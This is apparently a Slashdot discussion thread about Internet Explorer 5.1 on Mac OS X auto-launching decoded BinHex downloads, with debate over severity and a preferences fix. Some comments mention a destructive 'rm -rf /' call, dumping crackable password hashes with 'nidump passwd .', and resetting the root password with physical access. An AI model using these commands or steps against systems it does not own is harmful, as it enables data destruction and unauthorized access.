True -- a user can often work around any security, particularly around the lax amount that is preferred for otherwise optimal working conditions.

But -- It seems fairly unusual that you would need to give any given downloaded executable access to everything across the board. What does Photoshop need with rwx to my mail? Why would I give a calculator program access to the network? I'm simply saying that there should be more granularity. Without the user at the console manually doing it, most programs do not need access to certain reserved files (e.g. for programs not already explicitly trusted by the admin, it's probably safe to forbid writes to .cshrc) or to files of a different type than they create or work with (e.g. textfiles to a graphics editor).

Will this stop all malicious software? No, of course not. But it will further tighten the noose, and provide resources for a user or admin who wants to cut off the air supply to some of that such software. It also at least helps to constrain the amount of damage that parasitic malware can do -- if Outlook were restricted to write access to its own mail files, network connectivity, and the ability to read files that the user at the console had attached, it can screw with your mail, but at least it's not going to wipe out your textfiles.

I'm really not trolling here; it seems to me that once you get through the single layer of security protecting the user, as so many things do, you're giving who knows what the keys to the castle. Further compartmentalization, at least the possibility of it if the user desires it, seems reasonable.

Re:All users will eventually run the executable

[emurphy94108]

I might be wrong here, but I believe you need at least administrative privileges (which under OS X are NOT the same as root privilges) to write to the "Startup Items" folder. A user can use the login preference panel to set programs to launch automatically on LOGIN (and therefore necessarily run as user, not root, processes), but that's different from putting executables in the "Startup Items" folder.

Two things to keep in mind 1) Administrative privileges are NOT the same as root privileges; and 2) the root account is disabled by default under OS X (and it's not that easy for a naive user to figure out how to enable it).

I think if you do not normally log in as a user with administrative privileges, you minimize security issues. You put up with a certain amount of inconvenience (no write privileges to the /Applications folder, for example), but it's not even possible to sudo from a non-administrative account.

The problem and the fix

[Tokerat]

This feature has been in IE for mac for some time, the auto-decompression of .hqx and .bin files (.bin in this case is MacBinary format, an alternative (Apple produced?) to BinHex) and then launching Stuffit expander to decompress the rest of the way. Since Stuffit files are archives and not just individual compressed files (like a tarball or a winzip file), Mac downloads are most commonly archived and compressed ("stuffed") with Stuffit first, then encoded (possibly also with Stuffit but there are other utilities) into MacBinary or BinHex, for that little extra bit of compression, and to preserve the resource forks of .sit files.

The Problem

The problem results from IE not checking what it's launching. It assumes that anything that comes in a .bin or .hqx file must also be compressed in some other format, most commonly .sit, and so it saves the file, and sends an Apple Event (most definitely the Open event) to the FINDER . Why the Finder? The Finder is the UI front to the MacOS, much like the "explorer" process in Windoze. It does things like allowing the user to click files, folders, hard disks, ect. amongst other general OS control tasks. By saving this file and telling the Finder to open it, the IE programmers have saved themselves the effort of figuring out how to find and launch the Stuffit application themselves, and why should they? After all, it might not be a stuffit document. Obviously, though, no check is performed on the file type at all, thus blindly passing the fresh download to the Finder. And since the Finder interprets an Apple Event on an Application file as a launch request, it does just that. And so a massive security hole is born.

The Fix

How about checking the file type before sending that Apple event? It's one simple if statement, or at worst case a loop with an if that checks against an array of "banished" launch types (or even other criteria, I'm not sure how OS X handles the new "package" style Apps). A lil required reading for you boys over at MS's Mac dept:
Inside Macintosh: Files

P.S. The file type code for Applications on MacOS is "APPL", that might come in handy too.

But why the HELL...

[Ungrounded Lightning]

You can turn off the automatic decoding of bin.hex files ...

But why the HELL was it on by DEFAULT?

Oh, right.

It's a Microsoft program.

Never mind.

(The fact that it's for use on a non-Microsoft platform, and thus could make that platform vulnerable to malicious cracking, probably wasn't even a factor.)

Re:But why the HELL...

[IronChef]

It's not the decoding of binhex files that's a problem. The Mac has been automagically uncompressing downloads for a long time, but the automatic launching of a new executable is a lovely new Microsoftism.

Re:But why the HELL...

[BlowCat]

It's ON by default because it's convenient for users to decode hex files automatically. By the way, Pine (UNIX mailer) decodes MIME attachments by default and it doesn't make it less secure.

There is nothing wrong in decoding files by default. The problem is with running them without asking the user. That's a Microsoft specialty, also seen in Outlook.

Re:But why the HELL...

[Ungrounded Lightning]

It's not the decoding of binhex files that's a problem. The Mac has been automagically uncompressing downloads for a long time, but the automatic launching of a new executable is a lovely new Microsoftism.

Sorry. What I meant was "why the HELL was the launching of the binaries turned on by default?".

I didn't read the post closely enough to realize that the workaround wasn't to turn off the autolaunch but to turn off a step, innoctuous in itself, that was a precursor to the launch.

This implies that there isn't an easy way to turn off the launch. Even worse...

Re:But why the HELL...

[Stephen Samuel]

Perhaps Microsoft wanted to prove that even if you're on a *NIX box, you can still get goatsexed by having a Microsoft product installed.

I wonder what someone's rationale would be for that:"Oh this won't hurt anyone, and saving that extra 'OK' click will be great!".

This is a Microsoft product, and a security issue. What does rationale have to do with it?

Gotta love /.

[xmutex]

"Can anyone actually confirm this since it looks kinda sketchy."

Real professional, guys. "Well, we heard about this bad thing that involves Microsoft, so we're posting it. We're not sure it's true, hell, we read about it on young Tim Walrus's website; he's a seven yeard elementary shooler in Omaha. Apparent, IE 6 will kill your parents in their sleep."

Stupid.

true

[daevt]

yeah, thats how it works, very convinient. never really thought about it from a security stand-point.

two points to be made

[crayz]

First let me say this is totally unacceptable. However:
1) The app only starts automatically if you just click on the link. If you option-click(what I usually do when I want to download a file). It doesn't autostart it. When you option-click you are basically telling the browser "save this file to my HD", when you just normally click, you are saying "show me this file"(so like a PDF will download to the HD and then be opened). Still obviously it should not automatically open apps.
2) This is only for Classic apps. The reason this is good is that I usually don't have Classic open(because it sucks). So when I click this, it automatically starts opening Classic(which takes 30-45 seconds). If during that time I just click to stop opening Classic, the program never runs.

Re:Intrinsic Security in OS X - STEP BY STEP

[iso]

Even easier: reboot and hold down CMD-S (Option-S on some versions of OS X) and look! You're in single-user mode with root access!

But this is all moot anyhow: if you have physical access to the machine of just about ANY operating system (Linux included), you have full access to everything. Just the other day I booted an NT laptop with a Linux disk that can read NTFS so I could re-set the (forgotten) administrator password.

Big deal. Physical access == root.

- j

Security hole in IE!

[loconet]

"Huge security hole in Internet Explorer..."

(Score:-1, Redundant)

Re:CyberTerrorism

[alfredo]

How could they have done something so obvious by mistake?

Re:Not M$

[MaxVlast]

Uh, that a subunit of Microsoft does something does not mean that Microsoft has not done the thing.

Re:IE Flaw

[MaxVlast]

The MAC is an aspect of your network card. A Mac is a computer.

why not mozilla??

[BigBir3d]

www.mozilla.org is the way to go. 0.9.4 absolutley screams compared to some of the older builds, and the mail client works too :)

Other Security Holes Found In 10.1

[MacSlash]

There's an article on MacSlash (here), that talks about the IE auto-execution "feature" and another security risk dealing with Apple's implementation of WebDAV for iDisk. It apparently sends the password for the account in an unsecure manner.

--
MacSlash
Your Daily Dose of Mac News and Information

Re:Not M$

[i_like_ham]

First of all, ehintz is absolutely right about the Macintosh Business unit. (i didn't know they were in the SF Bay...) And anyone who's been to a recent Mac event (like Macworld NY) knows that this 'somewhat independent...arm' seems to have real pride in bringing better solutions to the Mac platform than their 'big brother'. More importantly (and relevant to the original post), as far as the security risk goes, it appears that the Classic environment adheres to the uid/gid rules of the X environment. So a Classic app can't alter mach.sym for instance (you can recover text in Word read-only). The same does not hold true to a seperate Mac OS 9 volume however. So this does pose significant risk.

Re:Near-Useless Security - Backups anyone?

[Tooky]

Relative to the months of creative work and irreplacable personal data that can be lost, getting the local geek to spend a few hours reinstalling software is indeed trivial.

Anything this important to the user should be backed up, nevermind the risks from trojans and virii, what about file system corruption, disk crashes and the like?

IMO, if you trust your computer to keep your precious data safe you deserve to lose it, just so you might learn to backup.

Re:Not M$

[i_like_ham]

How about ATM machine, or better yet, take a look (if you dare) at the startup screens from Win2K... "Built on NT Technology"

Re:Not M$

[joescrooge]

Internet Explorer on the MAC has nothing to do with Microsoft. It's developed, published, and installed by Apple.

What on earth gave you that silly idea? Apple bundles IE for the OS they sell just like Compaq/HP and Dell bundle it for the OS they sell - oh that's right, Compaq/HP and Dell don't get a choice.

Re:Intrinsic Security in OS X - It's even worse...

[kilgore_47]

I can honestly say that I don't know any savvy Mac users (not syaing they don't exist, just that I don't know any), and unfortunately the Mac isn't marketed towards savvy users.

(Score:-1, Flaimbait)

Re:Not M$

[cculianu]

Actually, MAC is just short for media access control. As in the layer. The address part is part of that layer.

Re:Wow

[i_like_ham]

"an moron"?!? Is there any chance we can get "Anonymous Coward" changed to "Anonymous Moron"? And while I'm at it, how about a different type of post, one that is clearly distinguishable visually, and is exempt from the compression filter? It could be used for short quips, relevant URLs (without the need for extended explanation), etc.

Re:What is nidump?

[SeanAhern]

It's a command-line utility used to access the information in the NetInfo database. It's specifically used to create flat-file versions (normal UNIX-like) of most of the system configuration.

All of the things that UNIX expects in /etc (inetd.conf, services, groups, passwd, and more) are actually stored in an XML database in Mac OS X. It's kind of a neat way to do it, especially the bootup sequence information.

But not having shadow passwords turned on by default means that anyone can get the passwd database in a crack-able form by running that "nidump passwd ." command. Heck, I don't even know if shadow passwords are available in OS X.

(Come on. Laugh.)

[Scoria]

Well I guess thats one way to make Unix insecure. Can anyone actually confirm this since it looks kinda sketchy.

Slashdot wanting to confirm news that could damage Microsoft's reputation? Pshaw!

It's a matter of who expects what

[jayed_99]

There seems to be some confusion about what a standard UNIX user expects and what a standard Macintosh or Windows user expects.

To make a very rough analogy, an .HQX file is normally treated like a smart .tgz file.

If I download a .tgz on a Unix box, I expect to decompress it twice, build it and install it. No smarts on the computer's part at all -- it's all with the me.

If I download an .HQX on a Mac, I expect that if it's a compressed application (.SIT) I'll end up with an executable on my desktop. If it's not an aplication (PDF file, text file -- whatever...think "file associations") I expect it to be decompressed and run by the appropriate app -- I'm assumed to be vaugely intelligent, but the computer picks up the technical slack.

If I download a .(WHATEVER) file on a Windows machine, I expect that something will happen -- but I'm not always sure what -- I'm expected to be happy with whatever the computer does.

UNIX users are expected to know what they're doing. Most of the time Mac users aren't expected to care what's going on as long as everything works for them. Windows users are expected to go along what the computer does (think "smart tags").

This seems to be an instance of developers forgetting that, even though this is a Microsoft product, it's being run on a UNIX machine by Macintosh users.

Re:IE Flaw

[DavidRavenMoon]

This is a non issue anyway. I tried it. The guy posted an app that is supposed to launch after you download it. I downloaded it with IE. It didn't launch. I think the person who reported this has his system configured weird.

I'm running Mac OS X 10.1 on a 466 MHz G4.

Whatever dude.

[Aqua OS X]

Well, this is simply just a stupid decoding bug. Within IE's prefs you can toggle off binhex and binary decoding. Something like stuffit expander can do the rest for you once you double click the downloaded file. Most people tend to "stuff" and then encode files anyway, so in reality your not really loosing a step. which do you prefer to double click... a sit or zip file? or a bin or hex file?

as for Apple and net standards. Well, as a web developer I can outright say that MacOS X and IE 5 are probably one of the most standards complient combos you are going to find. My rule of thumb is to develop pages on my mac and to tweek them on my 2k box. Typically, if a site works fine with IE 5 Mac it will work fine in every other browser that attempts to follow current web standards. Of course though, IE 5 and 6 for windows is typically a bug ridden POS... so tweeking is always needed. Developing for those browsers first always results in a world of problems for me. If I need to develop on windows I typically use mozilla.

And as for MS. Well, the MS MacBU is primarily a bunch or die hard mac geeks. they have one of the biggest mac labs in the world...second only to apple. The MS MacBU is full of old apple and claris developers...and then make fantastic products. Most people will agrue that Office 2k1 and Office X are much better then their office XP counter part. Moreover, IE 5 for classic MacOS was, and still is, an amazing peice of software. One of the best browsers that I have ever used... on any platform.

Nonetheless, IE 5.1 for OS X has bugs... even in it's "final" state. It was the MacBU's first OS X app... and it was made by carbonizing the older classic 5 browser. The classic 5.0 browser was very very dependant on the little nooks one could exploit in OS 8.5 or 9... I'm not surprized that porting it to X was a problem. However after seeing Office X for OS X I am very excited to see what the MS MacBU will pull out for IE 6 on OS X. I have no doubt that it will also be a great piece of software that folks on other platforms will learn a lot from. MS has a damn fine bunch of Mac developers now...they're the bomb.

Ooh, you're right. That is nasty

[JustinHoMi]

I'm guessing they did this b/c most things that are hqx'ed are also sit'ed underneath. I understand the reasoning, but man, that is a terrible security hole.

undependable

[sewagemaster]

first of all, we all know that this IE isnt bundled with macOS, so obviously it means MS wrote this just for that platform for whatever reason.... now you cant blame the OS or whatever anymore - IE's constantly having having security holes. these guys are professionals for goodness' sake. i dont see why this is a problem because IE shouldnt have been way up there on the priority list for the guys at MS to push it out the door for the mac - despite how undependable/unstable it is.

(as an aside (slightly off topic), my school lab now has ONLY IE installed and no netscape. it's not such a big deal since the network isnt mine....)

Re:my experience

[Anonymous Coward]

Key word is self-extracting. I'm sorry if you had a bad experience, but Aladin's website is very clear about the options and the self-extracting archive is one of them. It does not require another program to execute the decompression.

Wow are you way off...

[MO!]

Fact #1: MacOS X is based on FreeBSD 3.2 wrapped around a Mach microkernel.

Fact #2: FreeBSD does not use a Mach kernel.

Fact #3: The /etc/master.passwd file on a MacOS X system has nothing of value. It's there for legacy needs and has just the normal "shell=/bin/noshell" accounts as well as the disabled root account in it. To get useful information, you have to do a NetInfo dump of whatever class your looking for, in this case the encrypted passwd info.

Fact #4: The unix-like, BSD family, portion that makes up the base of MacOS X is not proprietary - it's called Darwin and is open and downloadable in source form (even ported to Intel). Only the upper level graphics system is closed. It's kinda like running a proprietary X Windows system on top of Linux.

Finally, Fact #5: Although there are some proprietary BSD-based OS's, the majority of the proprietary Unix OS's are based on AT&T->Novell->SCO->The OpenGroup code - not on BSD.

Please investigate your claims before boasting such innaccuracies.

That's not the security hole...

[jmegq]

I wholeheartedly agree that this is incorrect behavior, but as I tried to convince my devils-advocating self that it was a major security flaw, I kept losing.

If you click on a link to a binhex'd file, and it's an application, then normally it gets un-binhex'd for you. Well and good. Now what's the next thing you do? Without fail, it is to double-click on the decoded file. Not to check the file in any way, compare fingerprints or whatnot. You go and double-click the file, opening it up. If it's a trojan, you lose.

Some may argue "well, but what if it says it's a picture file, but turns out to be a trojaned app?" Doesn't matter; I can set the app's icon to look like that of a picture file, and you're just as screwed when you double-click on it.

So what about automating the double-click makes this a "huge security hole"? It seems like once you've downloaded the thing, you're already toast.

Please note that I'm not trying to gloss over the wrongness of the auto-launch, but rather to point out that we need some better form of security systemwide.

Re:That's not the security hole...

[mr3038]

So what about automating the double-click makes this a "huge security hole"? It seems like once you've downloaded the thing, you're already toast.

The difference is when you follow a link on a page and there's .hqx file instead of an another page you would have expected. In the non-braindead browser you just download the file, but in this case it's already executed before you notice it wasn't a normal page. Especially if the program in question is a small C program with only a 'rm -rf /' system call - download is practically instant and with fast filesystem all the files are gone before you even regocnize what happened.

Yeah, everybody checks status bar with every link before pressing mouse button and javascript isn't ever used to fake link type.

Imagine the following situation: you have heard of a cool application for you shiny OS X and look for it from a search engine. First hit returned looks like the correct one and you click the link. It turns out that the page wasn't the correct one and only happened to have the words that triggered the search. However, there's a javascript code that opens new windows or redirects you to another url... an url that contains desctructive code enclosed in a .hqx file. And your browser executes that file immediatly! Do you feel lucky?

What if the code that runs doesn't do anything immediatly but sleeps for example 10 minutes before starting destruction? In worst case you don't have any hint you have started a background program and 10 minutes later while you're reading slashdot your system get's trashed! Would you think that it was slashdot that killed your system?

Re:That's not the security hole...

[Lord Kenja]

Some may argue "well, but what if it says it's a picture file, but turns out to be a trojaned app?" Doesn't matter; I can set the app's icon to look like that of a picture file, and you're just as screwed when you double-click on it.

Sure. But the fact that the picture was binhexed should tip you off. Since noone it their right mind would binhex something that don't acturlly require it (like a resource fork dependant file - like a mac app).

Anyway. This MIGHT just be an issue with how the 'file helpers' in IE has been set by default. I am unable to confirm tho. But I doubt anyone would code something specifically... Even M$.

For the non Mac users I can say that the problem is that IE decodes MacBinary and BinHex automatically while downloading (it's an option that's on by default). And IE will then follow the settings in 'File Helpers' on the decoded file instead of the orginal one.

Re:That's not the security hole...

[jmegq]

Excellent point; I thought of that 5 minutes after posting... thanks for articulating it well!

Re:Intrinsic Security in OS X - It's even worse...

[kilgore_47]

I know some Mac users that are very good at photoshop and other apps, but couldn't find their way to the "Extentions Folder", much less some security control panel, if they tried.

And I know a lot of windows users like that too.

Personally, I'm a big fan of the mac platform. I can find my way to the "Extentions Folder", and I also know a good deal about windows and linux. But when it comes down to best desktop OS... I still pick the mac. It doesn't have so much to do with being able to understand something more complicated; it's apprecieating something elegant. Granted, I spend a good deal of time on my mac using NiftyTelnet SSH to connect the my linux server, but I still like being on the mac.

What?

[MO!]

Allowing users full access to their data is a "major bug in Unix"? That's the purpose of ANY system - to allow users to access and process thier data.

If you're gonna troll - at least be inventive and not absurd!

Re:What?

[cpt kangarooski]

I'm not trolling. I'm saying there is a difference between a user and a users' software, and that further granularity (e.g. barring spyware from accessing system resources like the network, or from being executed, etc.) are desirable. But see the other reply for more.

Let's Get It Right

[dbCooper0]

Seems from most of what I've read here, it's not M$'s IE vulnerability as much as the HEADLINE seems to say. The defaults are as much Apples's problem as M$'s, AFAIK.

C'mon Taco (this is deja vu!), even though the FAQ says WE check for discrepancies, don't you agree that 4 out of 5 of your stories lately have had sensationalist headlines, rather than a "Let's take a look at the potential problem" attitude? - It only takes a little reading and a clear mind to get a real-time picture of what the story is.

Maybe the EDITORS should do a little more looking before barking. (my $2 - cable is expensive)

Bottom line: Set your security to what the app allows and take your chances. (there goes my measly Karma of 5)

Re:IE Flaw

[Not2Bryt64]

your an idiot.
no, you're an idiot.
sorry, couldn't resist.

Does not work for me gov..

[Anonymous Coward]

On MacOS 10.1 build 5G27 with the new
IE 5.1.2 (3707) this is not reproducable.

DW.

But if it was open-source...

[proton]

If it was open source, other people would be able to check it, test it and hopefully find serious flaws like this before much damage is made.

When you have source available during the beta stages, the "first release" should be infinitely more secure than any proprietary program ever could hope to be.

Now consider the damage done when MacOS is infact shipped with this flawed version of IE pre-installed...

/proton

Re:But if it was open-source...

[stux]

MacOS *IS* shipping with this version installed. It was released this Saturday, it's almost impossible to get copies, it's that popular.

Apple's download servers are melting, queues at stores have been 300 people deep.

IT IS SHIPPING! IE IS INSTALLED! ITS THE DEFAULT. AND IT HAS THIS SERIOUS FLAW.


Its just a good thing this is MacOS and not WindowsXP.

BUT the version of macos which shipped like this (thankyou MS) is Apple's equivalent to MS Windows XP.

Go figure.

Quality Assurance

[kimihia]

QA isn't what it used to be. It should have been sent back for fixing. Or perhaps they need Ian Hixie to keep them in check and have it ship when it is worthy of being called a program.

Come on, sure there is a limit on time, but what is wrong with leaving a cake in the oven until it has finished cooking?

...what are they doing?

[panZ]

(cross posted this on macslash) My friends and I have been early adopters of OSX and we've never actually had IE execute a downloaded app. Yes, it de-archives things for us all of the time through its helper app settings. We've upgraded to IE 5.1 and not changed a single preference setting and none of us have never seen this occur. Is there some special archive/helper app setting I'm not seeing??

Re:Intrinsic Security in OS X - STEP BY STEP

[RoninM]

You mean, except for step #1, which states, in no uncertain the terms, the prerequisite for the rest of the steps to work: you're already logged in as administrator. It shouldn't be any surprise that the administrator can gain complete access to the system.

Re:Wait... does it run the software, or just decod

[RoninM]

...you could read the article which states, unambiguously, that it executes any resulting executable from the decoding...

Arrgh - Java is safe.

[jeti]

What are you taking about?
The Java security model works pretty flawless.Apart from the age-old 'brown orifice' attack I never heard about it fail.

You're badmouthing one of the best security models.

Re:Arrgh - Java is safe.

[nvainio]

What are you taking about? The Java security model works pretty flawless.

Oops, sorry. I guess you're right. I was typing before thinking. I usually turn off Java but now as I think, it's not because of security but to make things load faster. And Java thingies never work for me anyway (with Konqueror). Is there something wrong with a) Konqueror, b) external modules/libraries/something or c) applets?

Re:Arrgh - Java is safe.

[jeti]

Yes. The Java integration in Konqi has been a bit shitty. The latest version fixes this.
But starting the JVM and loading the JARs will still cost some extra time.

Easiest way to own an OSX box...

[stux]

Actually, the EASIEST way is to walk up to the box, insert the OSX CD you happen to have (don't we all have one?)

give it a 3 fingered salute, hold c, then choose "Reset Password..." from the file menu.

Click root,
make up a new password,
confirm it

then quit (which will restart back into OSX)

you now know the root password.

Word to the wise, it is possible to secure OSX boxes against this by password protecting OpenFirmware, which will prevent CD booting without knowing the firmware password.

Physical access is not a security exploit... imagine a DoS on a machine with physical access... that means you pulled the plug.

Re:Easiest way to own an OSX box...

[Tassach]

Unfortunatly, all an attacker has to do to defeat a BIOS password is to a) open the box and close the bios reset jumper or b) move the hard disk to another machine.

The only way to guard your data against physical compromise of the hardware is to store anything sensetive on a strongly encrypted filesystem which is mounted as necessary -- preferably on removable media which is physically secured when the machine is unattended. Even this isn't absolute, because a smart attacker could stealthily subvert your system (EG hardware keystroke logger, trojaned executables, etc) to capture your encryption key & passphrase. Tamper-evident seals on the hardware will help protect against this, as will anti-tamper software like tripwire.

Basically, if your physical security is compromised, you're screwed.

easy solution

[realkiwi]

1. Don't use M$IE use omni web

2. protest very loudly to Apple so they ensure that this function is off by default.

3. write the supreme court and say that Microsoft is sabotaging the only desktop OS left by creating security holes for it

I THINK I know what's going on

[Triv]

I had this problem before I upgraded to Os X.1.

this is what happens: You download a .hqx file and, after downloading, IE tries to launch Stuffit to open it. Problem is, sometimes IE can't FIND an OsX version of stuffit and launches the classic version instead. THAT'S what most people see happening. It's not the .hqx decoding and running itself, it's IE using the 'only' decoder it has available, launching classic to do so.

I can't verify this unfortunately, but I'd bet my own mother that that's what's going on.

Jacko

Re:Tried it. Does nothing

[MonkeyBoy]

Actually, no, IE has handled .hqx decoding on-the-fly from the first MacOS version. It didn't require StuffIt for decoding, except, perhaps, for the StuffIt Engine extension (under classic MacOS) - but probably not even that.

IE on NIX

[gavlil]

how useable is IE on the mac?

Linux is not a great web platform compared to NT. you cant get the plugins and the (html) compatibility that IE has, which is one of the reasons why I will never get that win box off my desk.

it would be great if I could run a nice NIX box with a browser to suit my needs. AFAIK my only choices are WINE (not good), MacOSX or Solaris.

Ive heard that m$ have cripled the solaris x86 IE so ppl like me cant dump NT is this true? Is IE betetr on OSX?

Re:IE on NIX

[stux]

Short answer... Yes.

Heh.

All the major plugins are available for macos, just like they are for windows.

Some of the more obscure ones aren't... such as JayBeam's new BeamBasedVectorGraphicsIn3DCocktails Viewer Plugin.

Oh Well.

/etc/passwd isn't used on Mac OS X.

[jcr]

jcr@localhost:~>cat /etc/passwd
##
# User Database
#
# Note that this file is consulted when the system is running in single-user
# mode. At other times this information is handled by lookupd. By default,
# lookupd gets information from NetInfo, so this file will not be consulted
# unless you have changed lookupd's configuration.
##
nobody:*:-2:-2:Unprivileged User:/nohome:/noshell
root:*:0:0:System Administrator:/var/root:/bin/tcsh
daemon:*:1:1:System Services:/var/root:/noshell
www:*:70:70:World Wide Web Server:/Library/WebServer:/noshell
unknown:*:99:99:Unknown User:/nohome:/noshell

One possible workaround..

[jcr]

Let's see. If Internet Exploder is setuid "nobody", then won't any processes it forks inherit that?

Not that this affects me, anyhow. The first thing I do after installing OS X is always to trash IE.

-jcr

Re:IE Flaw

[nonsisente]

Actually, Type and Creator codes are stored in the data of the .hqx file and then written as metadata on the decoded file.

with emphasis

[darkonc]

Relative to the months of creative work and irreplacable personal data that can be lost, getting the local geek to spend a few hours reinstalling software is indeed trivial.

He didn't say that getting the local geek to spend hours reinstalling software would be easy, or that the geek wouldn't figure he had much more interesting things to spend his time and energy on... Just that it would pale in comparison to recovering all of the lost work and communications (presuming that there wasn't a reasonable backup process in place -- now that's something you should assign a geek to spend a few hours on!).

Re:with emphasis

[weave]

OK, point taken. I, as you can tell, am overly sensitive to this topic.

Applications on all PC-type platforms tend to default to horrible insecure modes with the attitude that the desktop computer itself has little need to be secured. That's a horrible attitude and drains productivity. It's a real problem.

But being an IT nazi isn't a solution I am comfortable with either. So we did our best to come up with a best-overall solution. The user gets to choose who manages their PC. Them or us. If them, then we give them local admin rights and if anything fails for whatever reason, our only action will be to reformat and reinstall to the state we gave it to them (still a pain but beats spending hours debugging issues with some crap program they installed). If they have data they value, they save it on a network drive. No PCs are backed up.

Maybe it was the term geek that set me off. The term geek is like so many racial slurs. It's OK if used within the ethnic group by the group members, but no one outside of that group better utter the word! I couldn't tell whether the original poster was himself a geek or not :)

Re:Well!

[DrSkwid]

hmm, 3rd party closed source binary video drivers that can crsh the kernel with "error at 12312:x1"
nice and easy to solve

and linux framebuffer stuff
who cares? My servers don't run windows *or* linux. and besides when did I need a framebuffer to run a mail server? It doesn't even have a screen!

Re:Well!

[DrSkwid]

It says I can't have any more users.

which means if I want to expand my super stable NT setup I cannot add more users. I'll be forced to upgrade and retrain.

Re:Well!

[Telek]

It's 5 years old! What do you expect?

If it was that big of a problem, couldn't you have just ordered more client licences prior to them closing support/sales for it?

I don't think that it's fair to expect a company to support an old product indefinitely.

Re:Here's the fix (no sarcastic anti-MS comment he

[DrXym]

With hindsight it's easy assuming you know to look for such an option and you're not afraid to play with dialog box settings, but I doubt most people including experts would think even MS (after the roasting they've gotten in the last 2 years) would be so dumb as to enable such a feature by default. Probably the first most people would know of it is after it happens. By then it could be too late.

The problem is exacerbated because frankly most Mac users don't want to know how their computers work - that's why they're using a Mac - and put absolute faith in their OS and their programs to protect them from themselves.

stuff stuffit, open up!

[andya16]

hate how stuffit mangles your downloads? try openup for everthing except your .sit downloads.
you have to change the application to launch your .tgz etc. files (via the information panel--apple+I), but once you do that, your set.

WHAT??

[Godwin O'Hitler]

A security flaw in a Microsoft product???? Impossible! I'm not even going to read the article.

I....LOVE....THIS....COMPANYYYYYYYYYY!!!

Why only IE?

[ZigMonty]

What I want to know is why is Apple only bundling IE with MacOSX? There are plenty of good browsers for MacOSX. Hell, they're all better than IE. I've got Opera, Netscape 6.1, Mozilla, and my personal favorite OmniWeb (Must try iCab). Apple used to bundle both Netscape and IE, why the change? OK, I'm not suggesting they bundle Netscape, it *really* sucks for MacOSX. But how about OmniWeb or Opera? Some choice would be good. Yes, I know that the user could download another browser, but how many novices would? They've got plenty more room on the CD. It seems like Apple signed a black deal with microsoft.

Re:Why only IE?

[Alexander the Drake]

Maybe it's because all the alternatives are still under development? IE's really the only mature browser available for OS X. All the features are there, and they work well enough, while Omniweb, iirc, has major CSS issues to deal with, Moz/Netscape have stability and UI, and both iCab and Opera are in the time-bombed beta stage. Though iCab's "pre-release" feature set beats everyone elses, imho.

(Posted with Omniweb, which is great, as long as you're not looking at this page.)

Re:Here's the fix (no sarcastic anti-MS comment he

[ch-chuck]

MacBinary files - What's a "MacBinary file"? I don't know where the "options" are! These new Mac's are way too difficult to use - It was much easier when I had Windows, you just plug it in and USE it without have to mess with all these details - I'm not a 'guru' you know!

Mod this the fuck up.

[NateKid]

Before people foam at the mouth saying "the root account is safe, so let's go home because it's not a *real* exploit", they really should consider the ramifications of this thing. Most users do not back their stuff up. I don't and I've got a decade of sysadmin experience under my belt. Yeah, I know I should automate things but that takes away from my tv time.

So imagine if this thing wipes out your thesis. Or your only photos of your wtc victim son. Or if it mails your pr0n, tax records and Barry Manilow MP3s to your boss.

It would really suck.

Nate

OT Moderation

[virg_mattes]

If I had mod points, -1, Bad Spelling.

Virg

Flame On!

[Stephen Samuel]

If ever proof was needed that Microsloth didn't give a rat's ass about security, I think that this event pretty much proves it. This isn't even an "oops, we mised that overflow in an arcane piece of code I hope nobody notices it" kind of bug. This is a "hey, Mikie, you got an aircraft carrier I can test this security hole with?" kind of bug.

Any sort of a security audit. Any securit audit whatsoever would have resulted in a screaming meanie fit over this bug.

The only reason why this isn't gonna land Microsoft in court is that anybody who has the money it would take to rake them over the legal coals and test their absurd EULA with it would have 15 financial advisers paid to remind them that there are far better money pits to throw their cash into.

The only way tha Microsoft could save face on this one would be to admit that they inserted this hole willfully and/or maliciously because -- if they let a security bug this massive through by accident, there is no way that we should trust them to write any code in a sane and secure manner.

FLAME OFF
(that feels much better)

typical microsoft attitude

[The_Rook]

clearly, microsoft's attitude is that if windows is going to be insecure, then all other oses ought to be insecure also. and they'll use their near monopoly on web browsers to make sure.

Bringing Outlook insecurity to the Mac Community

[cryptochrome]

Is it just me, or does this behavior sound suspiciously familiar to one Microsoft Outlook which has a tendency to automatically execute hidden scripts, allowing viruses to propagate with unprecedented ease?

I guess they didn't want the Mac users to feel left out on the fun.

ignore test

[Kingpin]

this is a test test hest mest
in the best test

The FIX is not that difficult

[unconfused1]

My goodness this has generated a lot of needless discussion. The fix is not even as difficult as a script or a manual file change. I did not see this in a quick scan of the posts, but I hope that someone else mentioned this already!

Simply open up the "Preferences", goto "Download Options", and UN-check the following:

• Automatically decode MacBinary files
• Automatically decode BinHex files

Problem solved.

If you are REALLY paranoid about the files even being decompressed automatically by StuffIt at that point, just remove the entries for .bin, .hqx, and .sit under "Preferences" then "File Helpers".

This is as easy of a hole to plug as was the QuickTime autostart worms vulnerability.

Shades of MSN 1.0

[hatless]

What IE 5.1 for the Mac should be doing is decoding the Binhexed file and then handing the decoded file back to its (IE's) MIME and Mac creator handler again, as though it were the original downloaded file, and apply the appropriate rules, whether to save, launch, or whatever.

In other words, if the normal behavior when encountering an image/tiff file is to open it in Photoshop, then that is what should happen to a binhexed TIFF. If it's an .sit from Stuffit, Stuffit Expander might be launched. If it's an Excel spreadsheet and the preferences are set to open those, then open it it should.

The problem here is that it sounds like IE is handing the decoded file to OS X's "file open" handler (the call made when double-clicking an icon in the Finder) instead of to IE's "file download" handler, which checks MIME-handling rules and security zones set in IE and systemwide preferences.

Not unlike an incident I remember back in 1995 during the Windows 95 betas, when the original webless MSN was opened to content developers. It used a Windows Explorer metaphor, with online content organized as folders and icons. Content providers were encouraged to post RTF documents as content, but any file was fair game. Thing was, when users double-cliked on files to open them, they were treated like local files. Some of the earliest Word macro viruses got spread this way. I remember being shown this at a beta developers' convention before the first macro viruses even hit and asking if it could pass opened files through the user's virus scanner before opening them. "No, we hadn't thought of that," said an engineer. Horrified looks and some intensive scribbling on notepads followed, though nothing was done in time for launch beyond a useless request to content providers that they try to scan things for viruses before posting them.

This is not universal

[moof1138]

I have two OS X 10.1 systems. I do not use IE (mozilla is superior), so they have default prefs. I went to versiontracker, downloaded a few binhexed files and in each case it decoded the file (which is corect behavior, and not a significant security risk), but did not attempt to execute the file. On the first system I tested my user's home is an NFS export, so I tested with a local user with a local home, and I even created a new user with a local home, and in no case was I able to reproduce this. I went to my PowerBook and tested there, and I also was not able to reproduce. Something fishy is going on here. Either the report is false (which I am inclined to believe - most who are verifying this are just reporting that the file is decoded which is not a major security concern), or there are other conditions that need to be met (which I would be interested to hear).

So?

[tsa]

